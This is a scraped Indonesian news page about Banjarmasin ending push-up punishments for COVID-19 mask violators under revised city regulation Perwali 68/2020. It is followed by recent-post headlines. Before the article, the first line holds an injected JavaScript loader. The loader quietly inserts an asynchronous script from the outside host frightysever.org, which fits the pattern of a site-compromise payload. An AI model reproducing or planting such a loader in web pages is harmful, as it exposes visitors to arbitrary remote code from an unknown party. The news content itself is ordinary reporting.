(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Tak Tercantum di Perwali,Sanksi Push up Dihilangkan


KANALKALIMANTAN.COM, BANJARMASIN – Sanksi push up yang diberikan bagi warga yang lalai dalam menjalankan disiplin protokol kesehatan sesuai Perwali Nomor 68 Tahun 2020 secara resmi dihapus. Hal ini diungkapkan oleh Plt Kepala Satpol PP Kota Banjarmasin, Faturrahim.

Menurutnya, bentuk hukuman fisik tersebut memang sempat tercantum dalam Perwali Nomor 60 Tahun 2020. Tetapi, sanksi fisik ini tak lagi diberlakukan, seiring dengan adanya revisi yang berujung pada digantinya Perwali Nomor 60 dengan Perwali Nomor 68.

“Di Perwali yang sudah direvisi tidak ada sanksi fisik,” kata Faturrahim di Banjarmasin, Kamis (3/9/2020) pagi.

Ia menerangkan, seluruh jajaran seperti unsur TNI, Polri dan Satpol PP Kota Banjarmasin, sepakat untuk tidak memberikan sanksi fisik terhadap pelanggar. Melainkan, hanya berupa sanksi lisan, tulisan, sosial dan sanksi denda uang.

“Seluruh aparat telah diimbau agar tidak lagi memberikan sanksi fisik kepada warga yang tidak mengenakan masker,” imbuhnya.

Kendati sanksi push up itu diberikan atas permintaan dari warga sendiri karena melihat di daerah-daerah lain yang banyak menerapkan bentuk hukuman fisik terebut. “Memang di Perwali 60/2020 sebelumnya ada diatur. Tapi Perwali yang sekarang sudah dihilangkan,” terangnya.

Disamping itu, ia tidak menampik jika dalam penerapan Perwali disiplin protokol kesehatan dalam beberapa hari ini masih banyak terdapat masyarakat yang belum mengindahkan protokol kesehatan. Dimana, pertama saja sudah 104 orang yang melanggar, dan hari kedua kemarin 102 orang.

Sehingga, ia bersama jajaran Pemerintah Kota, Polresta Banjarmasin dan Kodim 1007/ Banjarmasin, meminta kepada seluruh lapisan masyarakat agar betul-betul mentaati protokol kesehatan yang sudah ditetapkan pemerintah sebagai upaya mencegah penyebaran Covid-19.

“Tujuannya tidak lain adalah untuk menekan penularan wabah Covid-19 di Kota Banjarmasin,” pungkasnya. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

14 jam ago

This website uses cookies.